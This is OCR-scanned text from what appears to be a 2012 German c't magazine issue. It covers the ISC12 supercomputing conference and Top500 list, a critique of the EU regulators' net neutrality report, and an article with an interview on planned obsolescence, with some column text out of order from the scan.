7(-) Fermi (IBM) CINECA Italien 163 840 Bluegene/Q 1,6 GHz 1725 0,82
8(-) JuQUEEN (IBM) Forschungs-zentrum Jiilich Deutschland 131 072 Bluegene/Q 1,6 GHz 1381 0,68
9(-) Curie Thin Nodes (Bull)  CEA/TGCC-GENCI Frankreich 77 1848(-Xeon 5, 2,7 GHz 1359 2,25
10 (4) Nebulae (Dawning) National Supercomputer Center Shenzhen China 55 680 6C-Xeon 5650 2,66 GHz + 4640 X 14 Nvidia Tesla (2050 (1,15GHz) 1271 2,58

hals hinwies. Die Jilicher haben nicht nur viel
Erfahrung mit BlueGene, sondern auch mit
GPUs. So ist dort unter anderem ein GPU-Sys-
tem mit Namen JuDGE (Juelich Dedicated
Graphics Environment) im Einsatz, ein IBM-
Dataplex-System mit 206 Intel-Xeon-Knoten,
ein jeder bestlickt mit zwei Nvidia-2070.
JUDGE erreicht mit 115 TFlops immerhin Platz *
157 der Top500-Liste. Jilich hat sich diesbe-
zlglich sehr breit aufgestellt: Nach den bei-
den gemeinsamen Labs mit IBM und Intel
grindete man nun auch ein Application Lab
mit Nvidia.

Die Minchener Kollegen des Leibniz-Re-
chenzentrums setzen bei den Beschleunigern
vor allem auf Intels Xeon Phi, wobei sie wohl
schon mehr Informationen tber die tber-
nachste Generation haben, denn die néchste
groB3e Ausbaustufe ist fiir 2014 geplant. Hier-
fur missen dann auch die Coprozessor-Kar-
ten mit speziellen Kihltechniken versehen
werden, damit sie in das HeiBwasserkuhlkon-
zept passen. Das Stuttgarter HLRS schaut mit
seinen Cray-Systemen erst einmal auf Nvidia.
Cray hat allerdings schon verkiindet, dass
man mit der geplanten Xeon-Plattform Cas-
cades auch Xeon Phi im SMX-Formfaktor an-
bieten will. Nur sollen diese dann nicht So-
ckel-kompatibel zu Nvidia-GPUs sein.

AMD war auch da, zeigte ein paar Bulldo-
zer-Systeme und konnte wie Intel mit einem
neuen alten Namen aufwarten. FireStream als
Brand wird es nicht mehr geben, GPU-Karten
fur Server werden zukinftig unter FirePro
vermarktet, wobei ein hinter der Zahl ange-
hangtes ,P" darauf hinweist, dass die Karte
keinen Grafikausgang besitzt. Zwei Systeme
in der Top500 Liste (in Frankfurt und Nagasa-
ki) sind mit AMD-GPUs bestlickt - allerdings
nicht mit einer im HPC-Bereich nie wirklich
angekommenen FireStream, sondern mit
preiswerten Radeon-Desktop-Karten.

Nvidia war omniprdsent an Dutzenden
von Partnerstanden, residierte selbst aber nur
im benachbarten Konferenzhotel. Hier und
da gab es Kepler-GK110-Chips im SMX-For-
mat zu bewundern, etwa bei EuroTech, aller-
dings versteckt hinter gro3en Kuihlkérpern. In
zwei Wochen, so Nvidia, sollen die fiir Berech-
nungen in einfacher Genauigkeit optimierten
Tesla-K10-Karten mit zwei GK104-Chips und
4,6 TFlops Spitzenleistung herauskommen.
Ende des Jahres sollen die Tesla-K20-Karten
fur doppelte Genauigkeit folgen, an denen
sich Intels Xeon Phi dann messen muss.
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Insgesamt 58 (zuvor 39) der Top500-Sys-
teme sind inzwischen mit Beschleunigern
versehen, Uberwiegend mit Nvidia-GPUs
(53). Intel ist bei den Hauptprozessoren mit
372 Systemen etwas schwacher vertreten als
vor einem halben Jahr (384). AMD hielt sich
mit 63 auf dem gleichen Stand und IBM
Power konnte dank BlueGene/Q auf 58
(zuvor 49) zulegen. Auch 5 SPARC-Systeme
sind jetzt in der Liste vertreten. Die Gesamt-
leistung der 500 verzeichneten Supercompu-
ter nahm dank der gro3en Petaflops-Systeme
gegeniber der vorigen Liste vom November
2011 kréftig um 66 Prozent von 74,2 auf 123,4
PFlops zu. Die Einstiegsleistung, um Uber-
haupt in die Liste zu kommen, stieg allerdings
nurmafBigvon 51 auf 61 TFlops.

Vorerst letztmalig fand die International
Supercomputing Conference in Hamburg
statt, die mit 2403 registrierten Teilnehmern
wieder einmal kréftig zulegen konnte. Die

Student Cluster Challenge

Zum ersten Mal wurde bei der ISC12 auch
ein Studentenwettbewerb ausgetragen,
beidem es darum ging, Software auf einem
kleinen Cluster ,zum Fliegen” zu bringen.
Der Cluster durfte dabei 3 kW Energieauf-
nahme nicht tberschreiten. Neben dem
traditionellen Linpack galt es, das System
fur Software zu optimieren, die erst am Ver-
anstaltungstag bekannt gegeben wurde
(etwa Wetterberechnung).

Funf Mannschaften nahmen daran teil, zwei
aus chinesischen Unis (Tsinghua und
NUDT), zwei US-amerikanische (Stony Brook

Alles Sieger: Es gab
Preise in mehreren
Kategorien. Den
Gesamtpreis erhielt
die Studentengruppe
der chinesischen
Tsinghua-Universitat.

Veranstaltung zieht nun im nachsten Jahr
nach Leipzig um, wo Veranstalter Meuer
beim CCL auf dem Messegeldnde noch mehr
Flache fur die begleitende Ausstellung bereit-
stellen kann. Vielleicht soll diese auch ein
bisschen weiter weg vom nachsten Hotel
sein, damit es Firmen wie Nvidia nicht ganz
so einfach haben, ins méglicherweise kosten-
glinstigere Hotel auszuweichen. Ein anderer
Hersteller, derin den letzten Jahren erheblich
in den Messeauftritt investiert hatte, verab-
schiedete sich inzwischen ganz von der HPC-
Schiene: Microsoft. Ende Mai nahm sich der-
jenige, der viele Jahre lang bis vor wenigen
Monaten fiir HPC bei Microsoft verantwort-
lich war, der 38-jahrige Kyril Faenov, das
Leben. Und da bei Microsoft kein Nachruf zu
finden ist, Gbernehmen wir das hiermit. Der
ganzen Szene wird Faenov als kompetenter
und sehr angenehmer Gesprachspartner in
Erinnerung bleiben. (as) c&

und Colorado) und eine deutsche (Team
kluster vom Karlsruher KIT). Den Gesamt-
sieg fuhr das Team der Tsinghua-Universitat
ein, die deutschen Teilnehmer bekamen
aber auch einen Preis fur den schnellsten
Linpack-Wert ohne GPU-Unterstlitzung
(2,3 TFlops). Zudem hatte die Gruppe ihr
System flir echte 3 kW optimiert und geriet
etwas aus der Fassung, als sie feststellen
musste, dass die Veranstalter mit einem
Amperemeter maflen und den Stromwert
einfach mal 230 V nahmen - ein Graus fir
jeden Elektrotechniker ... Das soll aber im
nachsten Jahr in Leipzig besser werden.

Al
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Richard Sietmann

Etikettenschwindel

Briisseler Mogelpackung bei der Netzneutralitat

Beharrlich treibt die EU-Kommission den Umbruch der Telekommunikation
voran: Der jetzt vorgelegte Bericht der europdischen Regulierungsbehérden
zur Netzneutralitat unterstiitzt sie in dem Vorhaben, den Zugangsnetzbe-
treibern freie Bahn bei der Durchsetzung neuer Geschaftsmodelle zu lassen.

Is Ende 2009 die Reform der Richtlinien

zur Telekommunikation kurz vorder Ver-
abschiedung zu kippen drohte, weil im Euro-
paischen Parlament Bedenken gegen die
durch subtiles Netzmanagement ermdglich-
ten neuen Geschéftspraktiken aufkamen,
zeigte sich die EU-Kommission gegentiber
den Kritikern konziliant. In einer politischen
Absichtserklarung im Anhang des Reform-
pakets bekannte sie sich zur Erhaltung der
Netzneutralitdt — rechtlich unverbindlich,
und ohne das Ziel wirklich zu konkretisieren.
Man werde die Entwicklung aufmerksam be-
obachten, versprach die neue Kommissarin
fur die Digitale Agenda, Neelie Kroes, und
forderte zur Vorbereitung einer geplanten
Kommissionsempfehlung beim Gremium Eu-
ropdischer Regulierungsstellen fir elektroni-
sche Kommunikation (GEREK) eine Bestands-
aufnahme und Analyse der Problematik an.
Zugleich lieB sie aber keinen Zweifel daran,
dass sie tiber das Reformpaket hinausgehen-
de Vorgaben an die Netzbetreiber fiir tiber-
flussig halte. Der Wettbewerb der Anbieter,
die Transparenz der Angebote und unkom-
plizierte Providerwechsel der Kunden wir-
den schon dafiir sorgen, dass die Verdnde-
rungen den Verbrauchern nicht zum Nach-
teil gereichten.

Ping-Poné-SpieI

Der mit vier Teilberichten und einer Erldute-
rung insgesamt 230 Seiten umfassende
GEREK-Report liegt jetzt vor. Er stiitzt in sei-
nen Schlussfolgerungen das Briisseler Vorha-
ben, eine grundlegende Infrastrukturent-
scheidung aus dem politischen Raum zu
schieben und der Wirtschaft zu Gberlassen,
indem Zugangsnetzbetreiber bei der Ent-
wicklung neuer Geschaftsmodelle méglichst
freie Bahn bekommen [1]. Die groRen Player
wie Deutsche Telekom, Telefénica und Voda-
fone haben bereits erklart, dass sie den Sys-
temwechsel wollen und auf ein Verteilnetz
nach dem Vorbild des Kabelfernsehens zu-
steuern [2]. Die zentralen neuen Geschéfts-
felder sehen die Konzerne in lukrativen Deals
mit Inhalteanbietern und Programmveran-
staltern, in denen sie dartiber befinden, wel-
che Inhalte zu welchen Bedingungen zu den
Endkunden gelangen. Als Kollateralschaden
wird der Verlust der universalen Konnektivitat
des Internet, der ,Any-to-Any”-Vernetzung
der Teilnehmer, in Kauf genommen.

72

,Vom Wettbewerb ist zu erwarten, dass er
die Betreiber diszipliniert und den Konsu-
menten die besten Angebote sichert”, schallt
es nun vom GEREK zur Kommission zuriick.
Dies hange ,von wirksamer Transparenz und
der Fahigkeit der Endnutzer ab, den Provider
leicht wechseln zu kénnen”. Die vorhande-
nen Regulierungsinstrumente reichten aus,
um Wettbewerb und Transparenz zu sichern;
notfalls stiinden die nationalen Regulie-
rungsbehorden bereit, ,unverziglich zu
agieren”, sollte dies doch erforderlich sein.

Der GEREK-Bericht hebt in der Bestandsauf-
nahme drei Kernpunkte hervor: Bei der IP-
Netzzusammenschaltung habe sich der Markt
,bisher sehr gut ohne nennenswerte Regulie-
rungseingriffe entwickelt”; zweitens sei die
Trennung von Netzwerk- und Anwendungs-
ebenen ,ein Wesensmerkmal des Best-Effort-
Internet”, die ,Innovation und Wachstum er-
moglicht” habe; und drittens kénnten Ver-
kehrsmanagement und Differenzierungsprak-
tiken zwar auch ,fur fragwiirdige Zwecke oder
in unangemessener Weise” eingesetzt wer-
den, sie seien jedoch , per se nicht nachteilig”.

Auf schwankendem Boden

Liest man die drei Kernpunkte allerdings in
der umgekehrten Reihenfolge, wird sichtbar,
auf welch schwankendem Boden die ,Con-
clusions” stehen, mit denen sich GEREK hinter
die Kommissarin stellt. Die , Differenzierungs-
praktiken” in Punkt 3 zielen ja insbesondere
auf die automatische Erkennung von Anwen-
dungen und Inhalten - beispielsweise VolP
oder Videostreams — um sie jenseits von
Bandbreite und Verkehrsvolumen unter-
schiedlich tarifieren und steuern zu kénnen.
Damit wird jedoch genau die Trennung von
Inhalten, Anwendungen, Vermittlung und
Ubertragung aufgehoben, die (zweiter Punkt)
nach Meinung der europdischen Regulierer
als Wesensmerkmal des Internet Innovation
und Wachstum erst ermdglicht hat.
Technisch sind es , intelligente” Steuerun-
gen an den Schnittstellen zu anderen Netzen,
dem Network-Network-Interface (NNI), und zu
den Endkunden am User-Network-Interface
(UNI), die das protokollbasierte Layering
durchbrechen (siehe dazu auch die Grafik auf
Seite 74); wirtschaftlich stellen NNI und UNI
Mauthduschen dar, in denen ,Policy Manager”
beliebig definierte Durchleitungskonditionen
implementieren. Indem sich Zugangsnetzbe-

Widerspriichlich: Einerseits erklart
EU-Kommissarin Neelie Kroes 6ffentlich,
dass sie ein ,einheitliches Internet”

wolle, in dem ,jeder Knoten mit jedem
anderen kommunizieren kann, wo immer
in der Welt er sich befindet”. In ihrem

Blog schreibt sie hingegen, dass sie nicht
jeden einzelnen Betreiber zwingen werde,
~das Internet vollstandig anzubieten”.

treiber diese Eingriffsmoglichkeiten schaffen,
um ein inhalts- und anwendungsbezogenes
Netzmanagement einzufiihren, ersetzen sie
das neutrale Vermittlungskonzept der klassi-
schen Telekommunikation durch ein Ver-
marktungsmodell fir Content und Services.
Und wenn (Punkt 1) die Zusammenschaltung
autonomer Netze zum Internet bis dato prak-
tisch unreguliert die universale Konnektivitat
gewdhrleisten konnte, so lag dies daran, dass
die Betreiber in Peering- und Transitvereinba-
rungen gerade nicht nach Inhalten und An-
wendungen differenzierten, sondern den Ver-
kehr in den Border Gateways bisher auf der IP-
Ebene Gbergeben und abrechnen. Diese Vo-
raussetzung wird kiinftig nicht mehr gegeben
sein, sobald im NNI Warter Uber Inhalte und
Anwendungen wachen.

Verquere Logik

Die Regulierer folgen einer verqueren Logik,
wenn sie die machtigen Marktplayer ausge-
rechnet an jenem Ast sdgen lassen wollen,
auf dem nach ihren eigenen Feststellungen
der Erfolg des Internet ruht. Zudem glauben
sie, es reiche aus, erst im Nachhinein auf
Fehlentwicklungen zu reagieren. Welche Ein-
griffskomplexitat und Birokratie sie damit
heraufbeschworen, lasst sich schon erahnen.
Angenommen, ein Programmveranstalter
mochte Livestreams Uber das Internet ver-
breiten und mit P2P-Techniken die von den
Usern bereitgestellte Upload-Bandbreite zur
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Weiterverteilung nutzen, um auf diese Weise
Engpédsse beim Direktabruf von zentralen
Servern zu vermeiden - soll ein Zugangs-
netzbetreiber dies blockieren dirfen, damit
er den Anbieter zwingen kann, am NNI Strea-
mingkapazitat bei ihm anzumieten?

Der GEREK-Report, fur den die Aussper-
rung von P2P-Verkehr eine zuldssige Diffe-
renzierungsmoglichkeit darstellt, weicht an
dieser Stelle aus und verweist wieder einmal
auf den Wettbewerb: ,Es gibt gute Griinde
fur die Annahme, dass diese Art der Differen-
zierung in den Fallen, wo auf den Breitband-
zugangs- und Internetzugangsmarkten
Wettbewerb herrscht, keine erfolgreiche
Strategie sein wird”, insbesondere, wenn die
Markte transparent seien. Nur falls sich diese
Praxis generell durchsetzen sollte, ,was bis-
her nicht der Fall ist”, hatte dies Auswirkun-
gen auf die Endnutzer und die Anbieter in-
novativer P2P-Anwendungen und gdbe
dann ,Anlass zu erheblichen Bedenken”.
Welche Konsequenzen die ,erheblichen Be-
denken” hatten, bleibt dabei offen.

Schalmei fiir Schnéppchenjager

Neelie Kroes indes sieht sich durch den Be-
richt bestatigt und hat sich bereits festgelegt:
,Ich habe nicht vor, jeden einzelnen Betreiber
zu zwingen, das Internet vollstandig anzubie-
ten”, kommentierte sie die GEREK-Vorlage.
Die Konsumenten hatten ja die Wahl und
konnten mit den FiBen abstimmen. Die
Marktordnung selbst steht allerdings nicht zur
Abstimmung. Eine praventive Regulierung
lehnt die Kommissarin jedenfalls ab. ,Wir wol-
len keine Hindernisse fiir Unternehmen schaf-
fen, die fur Social Networks, Musik, Smart
Grids, e-Health, oder was auch immer, mal3ge-
schneiderte Verbindungsdienste oder Diens-
tebtindel anbieten”, erklart Kroes. ,Wenn Kon-
sumenten auf Rabatte aus sind, warum ihnen
im Wege stehen?”, schlussfolgert die friihere
EU-Wettbewerbskommissarin.

Doch wohin gehen, wenn maxdome nur
Uber Provider A, Lovefilm nur bei Provider B,
und bei beiden P2P-Anwendungen gar nicht
nutzbar sind? Unterm Strich wird es wohl teu-

nektivitdt nicht zurecht kommt, weil er in
dem Bilindelangebot seines Providers die fa-
vorisierten Anwendungs- und Inhalteanbie-
ter nicht wiederfindet, wird sich fur die vor-
enthaltenen Sites einen zweiten Internetan-
schluss zulegen missen; vielleicht auch einen
dritten, um sich dem,vollstandigen Internet”
anzundhern. Durch dieses ,Multi-Homing”,
wie es Fachleute nennen, gerat das gesamte
System auf eine schiefe Ebene. Letztlich muss
der Endnutzer die gewohnte Vielfalt wieder
herstellen, die ihm die Geschaftsmodelle der
Zugangsnetzbetreiber einschranken.

Zu kurz gesprungen

Dem Multi-Homing liegt die Vorstellung zu-
grunde, dass die Any-to-Any-Konnektivitat
nicht mehr von jedem einzelnen, sondern nur
noch durch die Gesamtheit der Zugangspro-
vider gewahrt werden muss, wo sie sich durch
die unsichtbare Hand des Marktes wie von
selbst wieder einstellt. Doch warum aufgeben,
was man schon hat? Die Antwort bleibt
GEREK schuldig. Stattdessen klingt die Auf-
forderung, ,nationale Regulierungsbehérden
mussen diese Markte besser verstehen”, wie
eine Kapitulationserklarung. Behorden kon-
nen offenbar nicht Gber den Schatten derer
springen, denen sie zuarbeiten missen: Den
Sprung ,,out of the box” haben die Regulierer
nicht gewagt; Uberlegungen zu alternativen
Entwicklungen stellen sie nicht an. lhr Bericht
diskutiert die absehbaren Veranderungen
streng in dem vorgegebenen Rahmen der im
Dezember 2009 in Kraft getretenen TK-Richt-
linien und unterbreitet der Kommission keine
Vorschldge zu einer Novellierung.

Dabei wére die Losung recht einfach: Auf
der dem Endkunden zugewandten Seite des
Marktes, am UNI, brauchte man nur ,Best
Practices” zum fairen Management gemein-
sam genutzter Ressourcen wie DSLAMs oder
CMTS-Ports festzulegen und deren Einhaltung
durch gelegentliche, unabhédngige Audits zu
prifen. Das ist ein Verfahren, das sich von der
Qualitatssicherung bis zur Umweltvertraglich-
keit von Produkten in anderen technischen
Bereichen mit vergleichbarer Komplexitat be-

Marktes (am Network-Network-Interface) die
Strukturen des Kabelfernsehmarktes ins Inter-
net zu driicken, ware die Grundsatzentschei-
dung zugunsten der Telekommunikation fal-
lig, sodass die universale Konnektivitat unge-
achtet der Inhalte und Anwendungen das
oberste Gebot bleibt. Die Content- und Ser-
vice-Markte kénnen sich weiterhin unabhén-
gig entwickeln, wenn sich jeder Internetzu-
gangsnetzbetreiber auf seine Rolle als Spedi-
teur beschrénkt und die vertikale Integration
von Netzbetrieb mit Inhalten und Anwen-
dungsangeboten ausgeschlossen bliebe.
Noch wére Zeit: Solange sich die Struktu-
ren nicht verfestigt haben, ist die Angelegen-
heit entscheidbar. Nach den Feststellungen
der GEREK-Studie gibt es bisher keine Diffe-
renzierung des IP-Verkehrs in den Austausch-
punkten der Netzzusammenschaltung, son-
dern lediglich am UNI. Somit hatte Brissel die
Chance, eine Marktordnung mit fairen Wett-
bewerbsverhaltnissen vorzugeben, bevor der
,Kerosinsteuer-Effekt” eintritt und am NNI
Einspeisemadrkte wie im Kabelfernsehen ent-
stehen, die aufgrund vertraglicher Verflech-
tungen praktisch nicht mehr aufzulésen sind.
Die Chancen sind sogar gtinstig, weil klare
Ansagen aus Europa das derzeit in den USA
herrschende politische Patt in Fragen der
Netzneutralitdt zugunsten eines neutralen
Interconnection-Modells aufheben konnten.
Stattdessen bohrt sich die Brusseler Kom-
mission scheinbar unaufhaltsam in die von
den Lobbys vorgezeichnete Richtung voran.
Ende des Jahres will sie ihre Empfehlung zur
Netzneutralitat verabschieden. Sie muss nur
noch das Problem |6sen, wie sie den Bur-
gern eine Politik plausibel macht, die genau
das Gegenteil zum Ziel hat. Der GEREK-Re-
port kann noch bis zum 31. Juli kommentiert
werden. (pmz)
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Dr. Hans-Arthur Marsiske

Verstecktes Verfallsdatum

Wirkprinzipien der geplanten Obsoleszenz

Die willkiirliche Lebensdauer-
begrenzung von Produkten ist keine
neueldee, warabernochnnieso
verfuhrerisch wie fiir Hersteller von
Digitalgeraten. Eine Absicht ist zumeist
nur schwer nachzuweisen - dennoch
sind Verbraucher nicht véllig hilflos.

s ist ein Paradoxon: Findet man beispiels-

weise in Marokko noch auf jedem Wo-
chenmarkt mindestens einen Kesselflicker,
der Beschadigungen an Kochtopfen repa-
riert, die haufig Gber Generationen hinweg in
Gebrauch sind, erhalten Birger in Europa
auch schon mal staatliche Anreize in Héhe
von mehreren Tausend Euro, wenn sie dltere
(aber noch vollkommen’intakte) Fahrzeuge
verschrotten lassen und lber anschlieBende
Auto-Neukiufe die Okonomie ankurbeln.
Eine auf Konsum und Gewinnstreben ausge-
richtete Wirtschaftsordnung kennt aber auch
subtilere Mittel, um Produktionskreislaufe
aufrechtzuerhalten - etwa, indem Waren so
gefertigt werden, dass sie aufgrund von vor-
satzlich integrierten Schwachstellen nur eine
bestimmte Zeit halten und Reparaturen mit
einem unverhéltnismaBig groen Aufwand
verbunden sind.

Bekannt ist die Strategie der kinstlichen
Veralterung von Produkten (die sogenannte
»geplante Obsoleszenz”, die sich in zahlrei-
chen Facetten manifestieren kann, wie das
nachfolgende Interview zeigt) schon mehre-
re Jahrzehnte. Als ihr Erfinder gilt Alfred
P. Sloan, der als Prdsident von General Mo-
tors in den 20er-Jahren des vergangenen
Jahrhunderts jahrliche Verdanderungen bei
Automobilen einflihrte. Auf diese Weise soll-
ten Kunden zum Kauf neuer Modelle ani-
miert werden, auch wenn ihre alten Fahrzeu-
ge noch gut funktionierten. Der Plan ging
auf: Rasch war der Konkurrent Ford, der mit
seinem robusten und preiswerten Model T
Uberhaupt erst den Massenmarkt fiir Autos
geschaffen hatte, abgehangt. Im Jahr 1941
konnte Sloan zufrieden feststellen, dass die
auBere Erscheinung des Fahrzeugs zum viel-
leicht entscheidenden Verkaufsfaktor gewor-
den war -, weil ohnehin jeder weil3, dass das
Auto fahrt”.

Bei den Automobilen ging es zunachst
noch um sichtbare Veranderungen, die dlte-
re Modelle obsolet machen sollten. Zugleich
entwickelte sich aber auch eine tiickischere
Form der geplanten Obsoleszenz, die den
Kunden verborgen blieb. So verstandigten
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sich im Jahr 1924 international flihrende Her-
steller von GlUhbirnen darauf, die Lebens-
dauer ihrer Produkte auf 1000 Stunden zu
begrenzen. Fir Firmen, die sich nicht an die
Absprache hielten, wurden Geldstrafen fest-
gelegt. Anfang der 1940er-Jahre flog das Kar-

tell auf, die kiinstliche Begrenzung der Le-
bensdauer von Glihbirnen wurde verboten.
Diese brannten aber auch anschlieBend
nicht mehr langer als 1000 Stunden.
Digitalgerdte bieten den Umsetzern von
geplanter Obsoleszenz heute ganz neue

Méglichkeiten - denn nirgendwo lassen sich
vorsatzlich integrierte Lebenszeitbegrenzer
so leicht verstecken wie in Gerédten, die pro-
grammiert werden mussen. Ein klassisches
Beispiel ist der Tintenstrahldrucker eines ja-
panischen Herstellers, bei dem ein verborge-

Globale Nachbarschaftshilfe als Antithese gegen das Produktdesign der Verganglichkeit

Professor Niko Paech iiber geplante
Obsoleszenz und die Gegenbewegung
derProsumenten

c't: Herr Paech, Ihr Drucker, Ihr MP3-Player
oder Ihr Fahrradscheinwerfer stellen unerwar-
tet den Betrieb ein, einen Tag nachdem die
Garantie abgelaufen ist. Was denken Sie?

Paech: Ganz schon miese Qualitdt, denke
ich erst einmal. Meine Studierenden weise
ich immer wieder darauf hin, dass Zuverlas-
sigkeit und Dauerhaftigkeit die Grundvor-
aussetzungen fir Produktqualitat sind. Das
liegt hier offensichtlich nicht vor. Als Nachs-
tes wirde ich mich fragen, ob es sich bei
dem Versagen der Gerdte um geplante Ob-
soleszenz, also eine gezielte Begrenzung
der Lebensdauer, handelt. Die von lhnen
genannten Gerate sind daflr ja berihmte
Beispiele.

c't: Cosima Dannoritzers Film ,Kaufen fir die
Miillhalde”, ausgestrahlt auf Arte, hat den Be-
griff gerade wieder etwas bekannter gemacht.
Aber das Konzept, Produkte mit einem Ver-
fallsdatum auszustatten, ist keineswegs neu.

grenzen. In dem von Dannoritzer geschil-
derten Fall war das ein Chip, der die Druck-
vorgange zahlte und bei Erreichen einer
vorgegebenen Zahl das System blockierte.
Es waére zu einfach, das nur als bose Ver-
schworung zu deuten. Die Entwicklung
wird auch von den Konsumenten und ihrer
Nachfrage nach neuen Produkten vorange-
trieben.

c't: Die Wirtschaftspolitik wird sichda kaum in
den Weg stellen, oder?

Paech: Der Okonom John Maynard Keynes
hat Empfehlungen zur Uberwindung von
Wirtschaftskrisen formuliert, die im Extrem-
fall darauf hinauslaufen, Dinge zu produzie-
ren, die wir im nachsten Moment verbud-
deln - nur um Nachfrage zu erzeugen und
Investitionen anzuregen, die wiederum zur
Erhéhung des Bruttoinlandsprodukts fiih-
ren. Die Bundesregierung hat nach der Leh-
man-Brothers-Krise mit der Abwrackpramie
genau so eine keynesianische Politik ver-
folgt. Das Produzieren fir die Millhalde ist
also ein durchaus angesehenes und von
vielen Wirtschaftswissenschaftlern empfoh-
lenes Konzept.

JDie Digitalisierung ist die groBte 6kologische Katastrophe
im Konsumgiiterbereich.”

Paech: Nein, das Problem der Marktsatti-
gung hat Unternehmen schon zu Beginn
des 20. Jahrhunderts nach neuen Wegen
zur Steigerung des Absatzes suchen lassen.
Als sich die Zahl der Kunden nicht mehr er-
hohen lie, musste man sie dazu bringen,
haufiger zu kaufen. Spatestens seit den
1920er Jahren wird diese Steigerung des
»Consumer Lifetime Value”, wie es im Mar-
keting heif3t, auch durch geplante Obsoles-
zenz betrieben.

c't: Ist es nicht ein Betrug an den Kunden,
ihnen bewusst schlechte Ware zu verkaufen?

Paech: Man kann in geplanter Obsoleszenz
durchaus auch ein Zeichen von Fortschritt
sehen: Die Nutzer werden schneller in die
Lage versetzt, auf innovativere Versionen
der Produkte zu wechseln. Ein Tintenstrahl-
drucker altert schnell, schon nach zwei, drei
Jahren gibt es wesentlich bessere Modelle.
Da hat es eine gewisse Logik, die Lebens-
dauer von vornherein entsprechend zu be-
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c't: Ist das Prinzip der geplanten Obsoleszenz
demnach in der Logik unseres Wirtschaftssys-
tems und damit auch in unseren Képfen be-
reits tief verankert?

Paech: Es entspricht nicht nur der wirt-
schaftspolitischen Maxime, sondern der
Logik einer bestimmten Konsumkultur.
Beim Konsum in einer Uberflussgesellschaft
geht es ja schon lange nicht mehr darum,
Knappheit zu beseitigen oder Grundbed irf-
nisse zu befriedigen. Vielmehr sind sozial-
psychologische Motive und Intentionen im
Spiel, die man in drei Kategorien einteilen
kann. Da gibt es erstens naturlich immer
noch das klassische Motiv, einen materiel-
len Mangel zu beseitigen. Jeder Kaufakt ist
aber zweitens immer auch ein Kommunika-
tionsakt, der etwas tiber den Kaufer mitteilt:
Sag mir, welches Auto du fahrst, und ich
sage dir, wer du bist. In der modernen Kon-
sumgesellschaft, in der die Menschen auch
metaphysisch obdachlos geworden sind, ist
der Konsum praktisch die einzige Méglich-

keit, Authentizitdt, soziale Zugehorigkeit
und kulturellen Anschluss zu erlangen.
Dann gibt es noch die dritte Motivkatego-
rie, die auf den Kultursoziologen Gerhard
Schulze zurtickgeht und den Erlebniserfolg,
die emotionale Steigerung in den Mittel-
punkt stellt. Das ist die introvertierte Kon-
sumfunktion, gepragt von Neugierde, Spiel-
trieb und einem Gefiihl der Freiheit. Des-
wegen sind Autos im Innern wie Cockpits
gestaltet, die an Raumschiff Enterprise erin-
nern. Aus dieser Perspektive ist es klar, dass
es hinreichend viele Konsumereignisse
geben muss, um diese emotionale Steige-
rung permanent zu ermdglichen. Da eilt die
geplante Obsoleszenz dem Konsumenten
regelrecht zu Hilfe.

c't: Sie (iberraschen mich. Mit so einem Pld-
doyer fiir geplante Obsoleszenz habe ich nicht
gerechnet.

Paech: Das ist kein Pladoyer, sondern erst
einmal nur eine niichterne Beobachtung.
Als Nachhaltigkeitsforscher kann ich das
natirlich nicht rechtfertigen, sondern sehe
darin die groBte Perversion des Wirtschaf-
tens. Sie findet ihren Ruckhalt auf der An-
gebotsseite im Bedurfnis nach Markterwei-
terung, auf der politischen Seite im Keynes-
ianismus und auf der Nachfrageseite in der
Selbstdarstellung durch materielle Freihei-
ten.

c't: Angesichts eines solch fatalen Zusammen-
spiels der verschiedenen Akteure am Markt
hat es wahrscheinlich wenig Sinn, bestimmte
Ubeltditer identifizieren zu wollen?

Paech: Die Unternehmen sind ganz klar die
Impulsgeber flir geplante Obsoleszenz. Als
Konsument habe ich aber durchaus die
Wahl, mich fur langlebige Produkte zu ent-
scheiden, jedenfalls soweit es den ,kultu-
rellen VerschleiB” betrifft, wie bei Mode
und Design. Bei der physischen Obsoles-
zenz, die nicht so offen zutage tritt, ist das
nattrlich schwieriger. Hier steht zum einen
der politische Akteur in der Pflicht, mit har-
ten Gesetzen gegen solche Praktiken vor-
zugehen. Aber auch auf der Nachfrageseite
gibt es Moglichkeiten, etwa in Gestalt der
Repair Revolution oder der ,I-fix-it"-Bewe-
gung. Junge Leute finden sich da tbers In-
ternet zusammen und machen sich einen
Sport daraus, Dinge langlebig zu gestalten.
Solche Projekte finde ich hoch spannend.
Auch der Handel mit gebrauchten Gitern
setzt ein Gegengewicht, denn der funktio-
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nes Programmmodul die Druckvorgange
zahlt und nach Erreichen des vorgegebenen
Limits einen Stopp-Befehl sendet. Wie viele
bewusst integrierte Schwachstellen in heuti-
gen Digitalgerdten verborgen sind, weil3 nie-
mand. Auf Internetseiten wie www.murks-

Prof. Dr. Niko
Paech leitet den
Lehrstuhl fur
Produktion und
Umwelt an der
Universitat
Oldenburg und
ist Vorsitzender
der Vereinigung
fiir Okologische
Okonomie (VOO)

niert mit geplanter Obsoleszenz Gberhaupt
nicht. Hier ist die Langlebigkeit ja unbe-
dingte Voraussetzung dafiir, Nutzungs-
kreislaufe zu ero6ffnen. Wenn ich ein Pro-
dukt nach der Nutzung weiterverkaufen
maochte, muss ich es vorsichtig behandeln.
Da lassen sich auf eBay oder Amazon Mar-
ketplace ganz herausragende Beispiele fir
eine neue Kultur des Umgangs mit Produk-
ten beobachten.

c't: In der digitalen Welt bildet sich demnach
Widerstand gegen ein Konzept, das durch die
Digitalisierung erst auf die Spitze getrieben
wurde?

Paech: Die Digitalisierung ist die grofite
okologische Katastrophe im Konsumgtiter-
bereich. Nirgendwo lasst sich geplante Ob-
soleszenz so einfach ins Design integrie-
ren, wie bei Gerdten, die programmiert
werden mussen. Es hat auch noch nie Ge-
rate gegeben, die so wenig reparabel sind
wie IT-Endgeréate. Bei der extrem miniatu-
risierten Smart Technology gibt es prak-
tisch keine Chance mehr zur Reparatur,

nein-danke.de kdnnen zumindest Verdachts-
falle gemeldet werden. Eine Absicht ist im
Einzelfall aber schwer nachzuweisen, ein ju-
ristisches Vorgehen gegen geplante Obso-
leszenz kommt daher zumeist nicht in Frage.
Tatenlos missen die Nutzer deswegen aber

weniger Jahre (berholt sind. Wir werfen
Mobiltelefone weg, nicht weil sie nicht mehr
funktionieren, sondern weil es neue, vermeint-
lich bessere Modelle gibt.

Paech: Es gibt naturlich so etwas wie Stei-
gerungsspiele: Wenn der Besitz von Smart-
phones quasi zum Standard geworden ist,
wird es Pioniere geben, die versuchen, sich
mit einem besonders schicken Smartpho-
ne von der Masse abzusetzen. Dann gibt es
auch Komplementaritaten, etwa neue
Windows-Versionen, die regelmaBig neue
Hardware erfordern. Ubrigens: Manche
